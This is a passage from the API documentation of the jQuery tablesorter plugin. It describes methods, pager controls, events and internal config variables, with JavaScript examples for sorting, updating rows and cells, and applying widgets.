contain a new sortList to be applied // A callback method was added in 2.3.9. resort = true, // or [ [0,0], [1,0] ] etc callback = function( table ){ alert( 'rows have been added!' ); }; $( 'table' ) .find( 'tbody' ).append( $row ) .trigger( 'addRows', [ $row, resort, callback ] ); • In v2.23.0, • If a table contains only one tbody (not counting information only tbodies; which have a class name from cssInfoBlock), then a row string can be used in this method. var $table = $( 'table' ), config = $table[ 0 ].config; // triggered event method $table.trigger( 'addRows', [ '<tr>...</tr>', true ] ); // direct method $.tablesorter.addRows( config, '<tr>...</tr>', true ); • So instead of making a jQuery object, appending it to the table, then passing the reference to the method, you can just pass a string. This method doesn't work if a table has multiple tbodies, because the plugin doesn't know where you want to add the rows. • In v2.16.1, the $row parameter can be a row DOM element or jQuery object. Example Use this method reset the table to it's original settings. (v2.17.0). Using this method will clear out any settings that have changed since the table was initialized (refreshes the entire table); so any sorting or modified widget options will be cleared. However, it will not clear any values that were saved to storage. This method is basically like reloading the page. $('table').trigger('resetToLoadState'); Use this method to initialize a sort while targeting a specific column header (v2.9). // Target a specific header $('table').find('th:eq(2)').trigger('sort'); Using this method will maintain the sorting order; so, if the column is already sorted in ascending order, this method will act as if you manually clicked on the header. Whatever sort order is applied is dependent on other option settings such as initialSortOrder, lockedOrder (set within the headers), sortReset option, sortRestart and will be ignored if the column sort is disabled (sorter: false). Use this method to sort an initialized table in the desired order (v2.23.0) Direct method: In v2.23.0, this method can be called directly as follows: var config = $( 'table' )[ 0 ].config, sort = [ [ 0,0 ], [ 1,0 ] ], callback = function( table ) { // do something }; // NOTE: the triggered 'sorton' method requires the sort & callback methods to be // passed inside an array, this direct method does not. // Also, notice the "O" of "sortOn" is capitalized in this direct method $.tablesorter.sortOn( config, sort, callback ); Triggered event method: // Choose a new sort order var sort = [ [0,0], [2,0] ], callback = function( table ){ alert( 'new sort applied to ' + table.id ); }; // Note that the sort value below is inside of another array (inside another set of square brackets) // without a callback it could look like this: $( 'table' ).trigger( 'sorton', [ [[0,0],[2,0]] ] ); // when including a callback method the outer square bracket wrap both parameters (added in 2.3.9). $( 'table' ).trigger( 'sorton', [ sort, callback ] ); *NOTE* using this method to sort ignores the additions from the sortForce and sortAppend options. In v2.17.0, the sort direction can be set using "a" (ascending), "d" (descending), "n" (next), "s" (same) & "o" (opposite). $('table').trigger('sorton', [ [[0,"a"],[2,"n"]] ]); Please try out the demo (example link) to better understand how these values work. Example Use this method to reset the table to it's initial unsorted state (v2.4.7; v2.23.0). Direct method: In v2.23.0, this method can be called directly as follows: var config = $( 'table' )[ 0 ].config, callback = function( table ) { // do something }; $.tablesorter.sortReset( config, callback ); Triggered event method: This method immediately resets the entire table sort, while the option only resets the column sort after a third click. In v2.16.0, a callback function was added to this method. // Reset the table (make it unsorted) var callback = function( table ) { console.log( 'sort has been reset' ); }; $( 'table' ).trigger( 'sortReset', [ callback ] ); *NOTE* Don't confuse this method with the sortReset option. Example / Update the tbody's stored data (update & updateRows do exactly the same thing; v2.23.0) Direct method: In v2.23.0, this method can be called directly as follows: var config = $( 'table' )[ 0 ].config, // applies or reapplies a sort to the table; use false to not update the sort resort = true, // or [ [0,0], [1,0] ] etc callback = function( table ) { // do something }; $.tablesorter.update( config, resort, callback ); Triggered event method: // Add new content $( 'table tbody' ).append( html ); // let the plugin know that we made a update // the resort flag set to true will trigger an automatic resort using the current sort // if set to false, no new sort will be applied; or set it to any sortList value (e.g. [[0,0]]; new v2.19.0) // A callback method was added in 2.3.9. var resort = true, callback = function( table ){ alert( 'new sort applied' ); }; $( 'table' ).trigger( 'update', [ resort, callback ] ); // As of version 2.19.0, if the resort parameter is undefined, the setting from the config.resort will be used // As of version 2.0.14, the table will automatically resort after the update (if the "resort" flag is true // & will use the current sort selection), so include the following if you want to specify a different sort // set sorting column and direction, this will sort on the first and third column var sorting = [ [2,1], [0,0] ]; // method to use prior to v2.19.0 // $( 'table' ) // .trigger( 'update', [ false ] ) // .trigger( 'sorton', [ sorting ] ); // After v2.19.0; do the following to apply a new sort after updating // if sorting is an empty array [], then the sort will be reset $( 'table' ).trigger( 'update', [ sorting ] ); NOTE Don't confuse this method with the sortReset option. updateRows was added to work around the issue of using jQuery with the Prototype library. Triggering an "update" would make Prototype clear the tbody; Please see issue #217 for more details. Example Update a column of cells (thead and tbody) (v2.8; v2.23.0). Direct method: In v2.23.0, this method can be called directly as follows: var config = $( 'table' )[ 0 ].config, // applies or reapplies a sort to the table; use false to not update the sort resort = true, // or [ [0,0], [1,0] ] etc callback = function( table ) { // do something }; $.tablesorter.updateAll( config, resort, callback ); Triggered event method: // Change thead & tbody column of cells // remember, "eq()" is zero based & "nth-child()" is 1 based $("table thead th:eq(2)").html("Number"); // add some random numbers to the table cell $("table tbody").find('td:nth-child(3)').html(function(i,h){ return Math.floor(Math.random()*10) + 1; // random number from 0 to 10 }); // reapply the current sort if resort = true // do not reapply the current sort if resort = false // if undefined, resort will be obtained from config.resort (added v2.19.0) // as of v2.19.0, apply a new sort if resort = [[0,0]] (or whatever) // or the sort is reset if resort = [] var resort = true, // add a callback, as desired callback = function(table){ alert('table updated!'); }; // let the plugin know that we made a update, then the plugin will // automatically sort the table based on the header settings $("table").trigger("updateAll", [ resort, callback ]); Example Update the parsers, only if not defined, then update the internal cache (v2.15.4; v2.23.0). Direct method: In v2.23.0, this method can be called directly as follows: var config = $( 'table' )[ 0 ].config, // optional parameter to target tbodies $tbodies = $( 'table' ).children( 'tbody.totals' ), callback = function( table ) { // do something }; $.tablesorter.updateCache( config, callback, $tbodies ); Triggered event method: In v2.22.2, a new parameter was added to allow passing a jQuery object containing tbodies (for the tbody sorting widget) This method is used by the pager (addon & widget) to update the data stored within the cache after the content has been updated using ajax. // optional callback function var callback = function( table ){ /* do something */ }, // optional in v2.22.2; defaults to table.config.$tbodies if undefined $tbodies = $( 'table' ).children( 'tbody' ); $("table").trigger("updateCache", [ callback, $tbodies ] ); Example Adds all of the cached table rows back into the table (v2.23.0). This method was originally designed to be used with the pager. It should be used under these conditions: • When the pager removeRows option is true. • When not using the "updateCell" or "addRows" methods. • Before manually adding or removing table rows. • And, before triggering an "update". Note: The entire table is stored in the cache, but when using the pager with the removeRows option set to true, only the visible portion is actually exists within the table. So, use this option to add all stored rows back into the table before manually changing the contents. Otherwise, if any update method is triggered, only the visible rows will be added back to the cache. Direct method: In v2.23.0, this method can be called directly as follows: var config = $( 'table' )[ 0 ].config; // there is no callback available when using this direct method because // it may divert to pager injected functions, if the pager is being used $.tablesorter.appendCache( config ); Triggered event method: // how to update the table contents $("table") .trigger("appendCache") .append('<tr>...</tr>') // add new row(s), or delete rows .trigger("update"); // update the cache Refresh table headers only (v2.23.0). Direct method: In v2.23.0, this method can be called directly as follows: var config = $( 'table' )[ 0 ].config, callback = function( table ) { // do something }; $.tablesorter.updateHeaders( config, callback ); Triggered event method: $(function() { $( 'table' ).tablesorter(); // click on a button somewhere on the page to update header index $( 'button' ).click( function() { // Do something after the cell update in this callback function var $headerCell = $('thead th:eq(1)'), index = $headerCell.data( 'counter' ) || 0, callback = function( table ) { /* do something */ }; // change header text $headerCell .html( 'header click #' + index ) // update header data .data( 'counter', index++ ); // update the header, includes rebinding events & using the header template $( 'table' ).trigger( 'updateHeaders', callback ); return false; }); }); Update a table cell in the tablesorter data (v2.23.0). Direct method: In v2.23.0, this method can be called directly as follows: var config = $( 'table' )[ 0 ].config, $cell = $( 'td.random' ), // jQuery selector or DOM element of newly updated cell // applies or reapplies a sort to the table; use false to not update the sort resort = true, // or [ [0,0], [1,0] ] etc callback = function( table ) { // do something }; $.tablesorter.updateCell( config, $cell, resort, callback ); Triggered event method: $(function() { $( 'table' ).tablesorter(); $( 'td.discount' ).click( function() { // Do we want to reapply the current sort on the column? // see updateRow for other resort settings as of v2.19.0 // if resort is undefined, the value from config.resort (added v2.19.0) will be used var resort = false, // Do something after the cell update in this callback function callback = function( table ) { /* do something */ }, // randomize a number & add it to the cell discount = '$' + Math.round( Math.random() * Math.random() * 100 ) + '.' + ( '0' + Math.round( Math.random() * Math.random() * 100 ) ).slice( -2 ); // add new table cell text $( this ).text( discount ); // update the table, so the tablesorter plugin can update its value // set resort flag to false to prevent automatic resort (since we're using a different sort below) // prior to v2.19.0, leave the resort flag as undefined, or with any other value, to automatically resort the table // new resort values can be set as of v2.19.0 - please see the "updateRow" documentation for more details // $( 'table' ).trigger( 'updateCell', [ this ] ); < - resort is undefined so the table WILL resort $( 'table' ).trigger( 'updateCell', [ this, resort, callback ] ); // As of version 2.0.14, the table will automatically resort (using the current sort selection) // after the update, so include the following if you want to specify a different sort // prior to v2.19.0, set sorting column and direction, this will sort on the first and third column // after v2.19.0, add any new sort to the "resort" variable above var sorting = [ [ 3,1 ] ]; $( 'table' ).trigger( 'sorton', [ sorting ] ); return false; }); }); Example Apply the selected widget to the table, but the widget will not continue to be applied after each sort. See the example, it's easier than describing it. $(function(){ // initialize tablesorter without the widget $("table").tablesorter(); // click a button to apply the zebra striping $("button").click(function(){ $('table').trigger('applyWidgetId', ['zebra']); return false; }); }); Example Apply the set widgets to the table (v2.16.0). This method can be used after a table has been initialized, but it won't work unless you update the configuration settings. See the example, it's easier than describing it. // Update the list of widgets to apply to the table (add or remove) // $("table").data("tablesorter").widgets = ["zebra"]; // works the same as $("table")[0].config.widgets = ["zebra"]; // This method applies the widget - no need to keep updating $('table').trigger('applyWidgets'); Example Use this method to remove tablesorter from the table (v2.3.2; v2.16). // Remove tablesorter and all classes $("table").trigger("destroy"); // Remove tablesorter and all classes but the "tablesorter" class on the table // callback is a function $("table").trigger("destroy", [false, callback]); Refresh the currently applied widgets. Depending on the options, it will completely remove all widgets, then re-initialize the current widgets or just remove all non-current widgets (v2.4; v2.19.0). Trigger this method using either of the following methods (they are equivalent): // trigger a refresh widget event $('table').trigger('refreshWidgets', [doAll, dontapply]); // Use the API directly $.tablesorter.refreshWidgets(table, doAll, dontapply) • If doAll is true it removes all widgets from the table. If false only non-current widgets (from the widgets option) are removed. • When done removing widgets, the widget re-initializes the currently selected widgets, unless the dontapply parameter is true leaving the table widget-less. • Note that if the widgets option has any named widgets, they will be re-applied to the table when it gets resorted. So if you want to completely remove all widgets from the table, also clear out the widgets option $('table')[0].config.widgets = []; Example Widget Methods filter: Trigger the filter widget to reset the search criteria (v2.7.7). If you are using the filter_formatter option to add custom input elements, this function may not work on those columns. Please refer to the filter_formatter section for more details. $(function(){ // this is the same code that the "filter_reset" element runs to clear out the filters. $('button').click(function(){ $('table').trigger('filterReset'); return false; }); This method is used by the filter_reset option when defined. Example Trigger the saveSort widget to clear any saved sorts for that specific table (v2.7.11). $(function(){ $('button').click(function(){ $('table').trigger('saveSortReset'); return false; }); }); Pager Methods Trigger the pager to change the page size (v2.7.4). $(function(){ $('table').trigger('pageSize', 15); }); Trigger the pager to change the current page (v2.7.7). If no value is passed, the pager will reset to page 1; otherwise, pass a "one-based" index of the desired page $(function(){ $('table').trigger('pageSet', 3); // pass a one-based index }); Trigger the pager to change the current page & size (v2.19.0). If no value is passed, the pager will reset to page 1 with the original pager size setting; otherwise, pass a "one-based" index of the desired page and the pager size as an array $(function(){ $('table').trigger('pageAndSize', [ 2, 20 ]); // pass a one-based page index & page size }); Force the pager to update the table with the current settings (v2.19.0). If there is a need, this method will force the (ajax and non-ajax) pager to update. Use it as follows: $(function(){ $('table').trigger('pagerUpdate'); }); Or, if you need, you can optionally pass a new page number: $(function(){ $('table').trigger('pagerUpdate', 3); // update and set to page 3 }); Calling this method will reveal the entire table, remove the pager functionality, and hide the actual pager (v2.0.16; v2.23.0). In v2.23.0, this method was changed from destroy.pager to destroyPager because of issues with unique namespacing. $(function(){ $('table').trigger('destroyPager'); }); The only way to restore the pager is to re-initialize the pager addon $(function(){ $('table').tablesorterPager(pagerOptions); }); Example This method will put the pager into a disabled state (v2.0.21.2; v2.23.0). In v2.23.0, this method was changed from disable.pager to disablePager because of issues with unique namespacing. The disabled state will reveal all table rows and disable, but not hide, pager controls. $(function(){ $('table').trigger('disablePager'); }); Example This method will re-enable the pager, but only from the disabled state (v2.0.21.2; v2.23.0). In v2.23.0, this method was changed from enable.pager to enablePager because of issues with unique namespacing. $(function(){ $('table').trigger('enablePager'); }); Example Events tablesorter has some methods available to allow updating, resorting or applying widgets to a table after it has been initialized. TIP! Click on the link in the event column to reveal full details (or toggle|show|hide all) or double click to update the browser location. Event Description Link This event fires when tablesorter has completed initialization. (v2.2). $(function(){ // bind to initialized event BEFORE initializing tablesorter* $("table") .bind("tablesorter-initialized",function(e, table) { // do something after tablesorter has initialized }); // initialize the tablesorter plugin $("table").tablesorter({ // this is equivalent to the above bind method initialized : function(table){ // do something after tablesorter has initialized } }); }); * Note: bind to all initialization events before initializing tablesorter; because most of the time, if bound after, the events will fire before the binding occurs. This event fires immediately before tablesorter begins resorting the table. $(function(){ // initialize the tablesorter plugin $("table").tablesorter(); // bind to sort events $("table").bind("sortBegin",function(e, table) { // do something crazy! }); }); This event fires immediately after the tablesorter header has been clicked, initializing a resort. $(function(){ // initialize the tablesorter plugin $("table").tablesorter(); // bind to sort events $("table") .bind("sortStart",function(e, table) { $("#overlay").show(); }) .bind("sortEnd",function(e, table) { $("#overlay").hide(); }); }); Example This event fires when tablesorter has completed resorting the table. $(function(){ // initialize the tablesorter plugin $("table").tablesorter(); // bind to sort events $("table") .bind("sortStart",function(e, table) { $("#overlay").show(); }) .bind("sortEnd",function(e, table) { $("#overlay").hide(); }); }); Example This event fires after tablesorter has completed updating (v2.3.9). This occurs after an "update", "updateAll", "updateCell" or "addRows" method was called, but before any callback functions are executed. $(function(){ // initialize the tablesorter plugin $('table') .tablesorter() // bind to sort events .bind('updateComplete', function(e, table) { // do something after the table has been altered; }); }); This event fires after tablesorter has completed executing the refreshWidget method (v2.19.0) Use it as follows: $(function(){ // initialize the tablesorter plugin $('table') .tablesorter() // bind to sort events .bind('refreshComplete', function(e, table) { // do something after the 'refreshWidgets' has refreshed }); }); Widget Events Event triggered when the filter widget has finished initializing (v2.4). You can use this event to modify the filter elements (row, inputs and/or selects) as desired. Use it as follows: $(function(){ $('table') // bind to filter initialized event BEFORE initializing tablesorter* .bind('filterInit', function(){ $(this).find('tr.tablesorter-filter-row').addClass('fred'); }) // initialize the sorter .tablesorter({ widgets : ['filter'] }); }); * Note: bind to all initialization events before initializing tablesorter; because most of the time, if bound after, the events will fire before the binding occurs. Example Event triggered when the filter widget has started processing the search (v2.4). You can use this event to do something like add a class to the filter row. Use it as follows: $(function(){ $('table').bind('filterStart', function(){ $(this).find('tr.tablesorter-filter-row').addClass('filtering'); }); }); Example Event triggered when the filter widget has finished processing the search (v2.4). You can use this event to do something like remove the class added to the filter row when the filtering started. Use it as follows: $(function(){ $('table').bind('filterEnd', function(event, config){ $(this).find('tr.tablesorter-filter-row').removeClass('filtering'); }); }); Example Event triggered when the stickyHeader widget has finished initializing (v2.10.4). You can use this event to do something like modify content within the sticky header: $(function(){ $('table') // bind to the init event BEFORE initializing tablesorter* .bind('stickyHeadersInit', function(){ // this.config.widgetOptions.$sticky contains the entire sticky header table this.config.widgetOptions.$sticky.find('tr.tablesorter-headerRow').addClass('sticky-styling'); }) // initialize the tablesorter plugin .tablesorter({ widgets : ['stickyHeaders'] }); }); * Note: bind to all initialization events before initializing tablesorter; because most of the time, if bound after, the events will fire before the binding occurs. Pager Events This event fires when the pager plugin begins to render the table on the currently selected page. (v2.0.7). $(function(){ // initialize the sorter $("table") .tablesorter() // initialize the pager plugin .tablesorterPager({ container: $("#pager") }) // bind to pager events .bind('pagerChange pagerComplete', function(event, options){ // options = table.config.pager (pager addon) // options = table.config (pager widget) - so use options.pager.page below // c.totalPages contains the total number of pages $('#display').html( event.type + " event triggered, now on page " + (options.page + 1) ); }); }); Example This event fires when the pager plugin has completed initialization (v2.18.1), and its render of the table on the currently selected page. (v2.0.7). Note In v2.18.1, the "pagerComplete" event also fires off immediately after pager initialization. $(function(){ // initialize the sorter $("table") .tablesorter() // initialize the pager plugin .tablesorterPager({ container: $("#pager") }) // bind to pager events .bind('pagerChange pagerComplete', function(event, options){ // options = table.config.pager (pager addon) // options = table.config (pager widget) - so use options.pager.page below // c.totalPages contains the total number of pages $('#display').html( event.type + " event triggered, now on page " + (options.page + 1) ); }); }); Example This event fires after all pager controls have been bound and set up but before the pager formats the table or loads any ajax data (v2.4.4). $(function(){ $("table") // bind to pager initialized event BEFORE calling the ADDON // or BEFORE initializing tablesorter when using the pager WIDGET* .bind('pagerBeforeInitialized', function(event, options){ // options = table.config.pager (pager addon) // options = table.config (pager widget) // event = event object; options = pager options }) // initialize the sorter .tablesorter() // initialize the pager plugin .tablesorterPager({ container: $("#pager") }); }); * Note: bind to all initialization events before initializing tablesorter; because most of the time, if bound after, the events will fire before the binding occurs. This event fires when the pager plugin has completed initialization (v2.4.4). $(function(){ $("table") // bind to pager initialized event BEFORE calling the ADDON // or BEFORE initializing tablesorter when using the pager WIDGET* .bind('pagerInitialized', function(event, options){ // options = table.config.pager (pager addon) // options = table.config (pager widget) - so use options.pager.page below // c.totalPages contains the total number of pages $('#display').html( e.type + " event triggered, now on page " + (options.page + 1) ); }) // initialize the sorter .tablesorter() // initialize the pager plugin .tablesorterPager({ container: $("#pager") }); }); * Note: bind to all initialization events before initializing tablesorter; because most of the time, if bound after, the events will fire before the binding occurs. Example This event fires when the pager plugin begins to change to the selected page (v2.4.4). This event may fire before the pagerComplete event when ajax processing is involved, or after the pagerComplete on normal use. See issue #153. $(function(){ // initialize the sorter $("table") .tablesorter() // initialize the pager plugin .tablesorterPager({ container: $("#pager") }) // bind to pager events .bind('pageMoved', function(event, options){ // options = table.config.pager (pager addon) // options = table.config (pager widget) - so use options.pager.page below // c.totalPages contains the total number of pages $('#display').html( event.type + " event triggered, now on page " + (options.page + 1) ); }); }); Example Tablesorter API tablesorter has some useful internal variables & functions available through the API which can be used in custom coding, parsers and/or widgets. Variables TIP! Click on the link in the variable column to reveal full details (or toggle|show|hide all) or double click to update the browser location. Variable Type Description Link Array This is an array of all parser objects added using the addParser function. If a specific parser needs to be retreived from this array, use the getParserById function. $.tablesorter.themes Object This is an object containing a list of specific class names to be applied to table elements. Please see the widget uitheme option for more details. Array This is an array of all widget objects added using the addWidget function. If a specific widget needs to be retreived from this array, use the getWidgetById function. Object This object contains the phrases (in English by default) added to the aria-label on each header column. This is how the object is set up: $.tablesorter.language = { sortAsc : 'Ascending sort applied, ', sortDesc : 'Descending sort applied, ', sortNone : 'No sort applied, ', nextAsc : 'activate to apply an ascending sort', nextDesc : 'activate to apply a descending sort', nextNone : 'activate to remove the sort' }; So, as an example, in the following situation: • A table header is named "Account #" • This column has an ascending sort applied • The next click on the header will be a descending sort, which means: • sortInitialOrder option has its default setting; so the sort order will switch from ascending to descending on the second click. • No lockedOrder is set within the headers option Then the label will be built as follows: // "Header Name" + $.tablesorter.language.sortAsc + $.tablesorter.language.nextDesc "Account #: Ascending sort applied, activate to apply a descending sort" If the next click were to reset the sort (sortReset applied), then the message would use $.tablesorter.language.nextNone. Use this variable to change the language as follows: $(function(){ $.tablesorter.language = { sortAsc : "sorting from a to z, ", sortDesc : "sorting from z to a, ", sortNone : "not sorted, but ", nextAsc : "click to sort from a to z", nextDesc : "click to sort from z to a", nextNone : "click to clear the sort" } $("table").tablesorter(); }); Object This variable contains all instance methods of the config object. Added using addInstanceMethods function before table initialization (v2.21.0). $.tablesorter.addInstanceMethods({ columnSum: function(colNumber) { var sum = 0, tbodyIndex, normalizedRows, rowIndex; // `this` refers to config object for (tbodyIndex = 0; tbodyIndex < this.$tbodies.length; ++tbodyIndex) { normalizedRows = this.cache[tbodyIndex].normalized; for (rowIndex = 0; rowIndex < normalizedRows.length; ++rowIndex) { sum += normalizedRows[rowIndex][colNumber]; } } return sum; }, columnMean: function(colNumber) { return this.columnSum(colNumber) / this.totalRows; }, }); $('table').tablesorter(); c = $('table')[0].config; console.log('sum of third column: ' + c.columnSum(2)); console.log('mean of third column: ' + c.columnMean(2)); Access the table configuration variables (config) using any of these methods: // pure js, get the first table (zero index) var config = document.getElementsByTagName('table')[0].config; // or by table ID var config = document.getElementById('mytable').config; // using jQuery, get first table (zero index) var config = $('table')[0].config; // or from the jQuery data var config = $('#mytable').data('tablesorter'); Object Internal list of table contents (v2.0.18; v2.20.0 ) This object contains the following: • tbody index (non-info block only, indexing now matches the config.$tbodies variable; v2.20.0) • colMax • This contains an array of the absolute value maximum numerical value for each "numerically" parsed column per tbody. • Text columns will have an undefined value in this array. • Used when determining how to sort text within a numeric column. • Access it as follows: // $('table')[0].config.cache[tbodyIndex].colMax[column]; // try this in the console for this page: $('.tablesorter')[0].config.cache[0].colMax; // result: [undefined × 3, 45, 153.19, 44.7, 100.9, 1169133120000] • normalized • This contains an array of indexed table rows. • Within each row is an array of extracted, then parsed table contents for each column (plus one extra value; see the next comment). • It is important to note that the last value in the column array is the original row index value. This is used when resetting a column sort to its original unsorted order. • In v2.19.1, the raw unparsed data was added to the row data. • In v2.16.0, the last value in the column array is now an object which contains a jquery object of the row, index of the original unsorted order and a child array which contains raw html from any associated child row // $('table')[0].config.cache[tbodyIndex].normalized[row][column] // try this in the console for this page: $('.tablesorter')[0].config.cache[0].normalized[0]; /* result: ["a1", "bruce", "almighty", 45, 153.19, 44.7, 77, 979830720000, { $row : jQuery.fn.jQuery.init[1], // row (jQuery object) child : [], // child row raw html, if any // raw unparsed data from the table cells - added v2.19.1 raw : ["A1", "Bruce", "Almighty", "45", "$153.19", "44.7%", "+77", "Jan 18, 2001 9:12 AM"], order : 3 // original row index (unsorted) }] */ to specifically target the extra row data, use this method: var config = $('.tablesorter')[0].config, dataIndex = config.columns, // number of columns within the table rowData = config.cache[tbodyIndex].normalized[row][ dataIndex ]; • Note that all text values will be in lower case if the ignoreCase option is true. • This internal normalized content is what is actually sorted for maximum performance. • row (removed in v2.16.0) • Well not removed, but moved into the row data, within the normalized section of the cache as described above. • This contains an array of jQuery row objects. • These rows are never in sort order, and are used when updating the table after sorting the normalized content. The indexing of these rows is cross-referenced within the normalized values - the extra column value within the row array. Hopefully that makes sense. The table.config.cache variable is useful when writing widgets that need access to the parsed content. Numeric Internal count of the number of table columns in the header (v2.12) This number is stored as a length (one-based), and takes into account any colspan and rowspan within the table head. Note that the table.config.columns variable does not always correlate with the indexing of the headers stored within table.config.$headers because of multiple rows and column or row spans. Array Internal list of each header's starting HTML (as text) (v2.8) This HTML snapshot is taken using the $headers jQuery object, and done before the headerTemplate is applied and before the onRenderTemplate and onRenderHeader callbacks are executed. This list is used by the $.tablesorter.restoreHeaders function to restore the table headers when the destroy method is executed. Array Internal list of each header element as selected using jQuery selectors in the selectorHeaders option. This list contains DOM elements (not jQuery objects of each table header cell like the $headers variable) and is how the original version of tablesorter stored these objects. It is not used in the current version of tablesorter, and is only left in place for backwards compatibility with widgets written for the original tablesorter plugin. Array Internal list of all of the table's currently set parsers (objects copied from $.tablesorter.parsers). Here is a complete list of default parsers: parser: falsedisable parsing for this column (this also disables sorting & filtering for the column; v2.17.6). sorter: falsedisable sort for this column. sorter: "text"Sort alpha-numerically. sorter: "digit"Sort numerically. sorter: "currency"Sort by currency value (supports "£$€¤¥¢"). sorter: "image"Sort by image alt value (see imgAttr option). sorter: "ipAddress"Sort by IP Address; Warning This parser was moved to the parser-network.js file in v2.18.0. sorter: "url"Sort by url. sorter: "isoDate"Sort by ISO date (YYYY-MM-DD or YYYY/MM/DD; these formats can be followed by a time). sorter: "percent"Sort by percent. sorter: "usLongDate"Sort by date (U.S. Standard, e.g. Jan 18, 2001 9:12 AM or 18 Jan 2001 9:12 AM (new in v2.7.4)). sorter: "shortDate"Sort by a shortened date (see dateFormat; these formats can also be followed by a time). sorter: "time"Sort by time (23:59 or 12:59 pm). sorter: "metadata"Sort by the sorter value in the metadata - requires the metadata plugin. Check out the headers option to see how to use these parsers in your table (example #1). Or add a header class name using "sorter-" plus the parser name (example #2), this includes custom parsers (example #3). 1 2 3 Array Internally stored Array of headers that represent each column (v2.21.0) The table.config.$headers variable contains ALL header cells, not all of which contain sorting information (data-attributes, class names or sorting information). This variable targets the last sortable header cell in a particular column; unless an entire column is completely unsortable (checkbox column), then it just picks the last cell in that column. To make that description less confusing, look at the HTML in the config.$headers documentation, only the four middle rows (header-index 1-4) will be contained within this variable: // the resulting config.$headerIndexed for the HTML example in config.$headers will look like this: console.log( table.config.$headerIndexed ); /* outputs : [ $('<th data-column="0">header-index 1</th>'), $('<th data-column="1">header-index 2</th>'), $('<th data-column="2">header-index 3</th>'), $('<th data-column="3">header-index 4</th>') ] */ * NOTE * This variable contains an array of jQuery objects, it is not a collection of jQuery objects, i.e. var $column = table.config.$headerIndexed[ 0 ]; // jQuery object returned console.log( $column.hasClass('foo') ); // how to access information var $headers = $( table.config.$headerIndexed ); // make a collection of jQuery objects // then use collection manipulation functions $headers.each(function(){ console.log( $(this).text() ); }); jQuery Object Internal list of all table header cells (v2.8) *NOTE* The header cells within rows with the cssIgnoreRow class (default is "tablesorter-ignoreRow" will not be included in this variable. Header cells in not-ignored rows are targeted using the jQuery selector from the selectorHeaders option Please note that the headers cells are simply an array of targetted header cells and should not be targeted using a column index. For example, given the following table thead markup, the header-index counts the header th cells and does not actually match the data-column index when extra rows and/or colspan or rowspan are included in any of the header cells: <thead> <tr> <th colspan="4" data-column="0" class="sorter-false">header-index 0</th> </tr> <tr> <th data-column="0">header-index 1</th> <th data-column="1">header-index 2</th> <th data-column="2">header-index 3</th> <th data-column="3">header-index 4</th> </tr> <!-- the next row WILL NOT be included in the config.$headers variable --> <tr class="tablesorter-ignoreRow"> <th colspan="2" data-column="0">This cell is not included in the config.$headers</th> <th colspan="2" data-column="2">This cell is not included in the config.$headers</th> </tr> <tr> <th colspan="2" data-column="0" class="sorter-false">header-index 5</th> <th colspan="2" data-column="2" class="sorter-false">header-index 6</th> </tr> </thead> So, in the above example, to target the header cell in the second table column (data-column index of 1), use the following code: table.config.$headers.filter('[data-column="1"]') or table.config.$headers.eq(2). The table.config.$headers variable is useful within callback functions or when writing widgets that target the table header cells. DOM element Internally stored DOM table element (v2.17.5) The table.config.table variable is useful when certain callback functions only pass the config object; originally you could use config.$table[0], but this saves that small extra trouble. jQuery Object Internally stored jQuery object of the table (v2.7.1) The table.config.$table variable is useful within callback functions or when writing widgets that target the table. jQuery Object Internally stored jQuery object of table non-info block tbodies (v2.7.1) jQuery object of sortable tbodies. Caution! These tbodies are the ones without a class name from the cssInfoBlock option, so the indexing of this jQuery object does not match the actual table tbody indexes. The table.config.$tbodies variable is useful within callback functions or when writing widgets that target the table. Boolean Boolean value indicating that tablesorter has been initialized on a table This variable is not stored within the config, as the config would not be defined (an alternative method of determining if tablesorter has been initialized). Access it as follows: $('table')[0].hasInitialized. It is true while tablesorter is active on a table, and false if tablesorter was destroyed. Numeric This variable contains the total number of rows within the table, not including rows within info-only tbodies (v2.17.4; v2.17.5) Access this internal value after tablesorter has initialized. It is also included as a variable in the filterEnd event so you can update an external count like this: $('table').bind('filterInit filterEnd', function(event, data){ // use data.filteredRows or this.config.filteredRows $('.filter-rows').html( data.filteredRows ); $('.total-rows').html( data.totalRows ); }); If using the pager plugin or widget, the value returned from the filterEnd event will not be accurate, so you'll need to bind to the pagerComplete event instead: $('table').bind('filterInit filterEnd pagerComplete', function(event, data){ // Note: data = table.config (filterEnd event); and data = table.config.pager (pagerComplete event) // both objects contain data.filteredRows & data.totalRows $('.filter-rows').html( data.filteredRows ); $('.total-rows').html( data.totalRows ); }); Access the widgetOptions (wo) using any of these methods: // pure js, get the first table (zero index) var wo = document.getElementsByTagName('table')[0].config.widgetOptions; // or by table ID var wo = document.getElementById('mytable').config.widgetOptions; // using jQuery, get first table (zero index) var wo = $('table')[0].config.widgetOptions; // or from the jQuery data var wo = $('#mytable').data('tablesorter').widgetOptions; jQuery Object Only available when the filter widget is active. This variable contains all external search inputs with data-column="all", bound using the bindSearch function. The table.config.widgetOptions.filter_$anyMatch variable contains one more more search inputs, and is dynamically updated if the bindSearch function is called; make sure to set the flag to force a new search so that the values of the altered filters is updated appropriately. jQuery Object Only available when the filter widget is active. This variable contains all table cells within the filter row. Use the table.config.$filters variable when access to filters is needed. Note! This variable contains the table cell and not the actual input because the filter_formatter function allows adding other types of value selectors (e.g. jQuery UI slider). jQuery Object Only available when the filter widget is active. This variable contains all external search inputs bound using the bindSearch function. The table.config.widgetOptions.filter_$externalFilters variable contains an array of jQuery objects pointing to all external inputs, even if the bindSearch function is used multiple times. wo.filter_initialized Boolean Only available when the filter widget is active. This variable is true once the filter widget has initialized; it is undefined otherwise. Numeric Only available when the filter widget is active. This variable contains the current number of filtered rows (v2.17.4; v2.17.5) This internal value will show an accurate number of filtered rows; which means the count won't include any rows from "information-only" tbodies. Access this internal value at any time after the filter widget has initialized, or as a shortcut it is included as a variable in the filterEnd event so you can update an external count like this: $('table').bind('filterInit filterEnd', function(event, data){ // use data.filteredRows or this.config.filteredRows $('.filter-rows').html( data.filteredRows ); $('.total-rows').html( data.totalRows ); }); If using the pager plugin or widget, the value returned from the filterEnd event will not be accurate, so you'll need to bind to the pagerComplete event instead: $('table').bind('filterInit filterEnd pagerComplete', function(event, data){ // Note: data = table.config (filterEnd event); and data = table.config.pager (pagerComplete event) // both objects contain data.filteredRows & data.totalRows $('.filter-rows').html( data.filteredRows ); $('.total-rows').html( data.totalRows ); }); jQuery Object Only available when the stickyHeaders widget (not the css3 version) is active. The table.config.widgetOptions.$sticky variable contains a jQuery object pointing to a cloned table containing the sticky header. The table contained within this variable has a class name of "containsStickyHeaders" versus the original table with a class name of "hasStickyHeaders". Access the pager options (p) using any of these methods: // pure js, get the first table (zero index) var p = 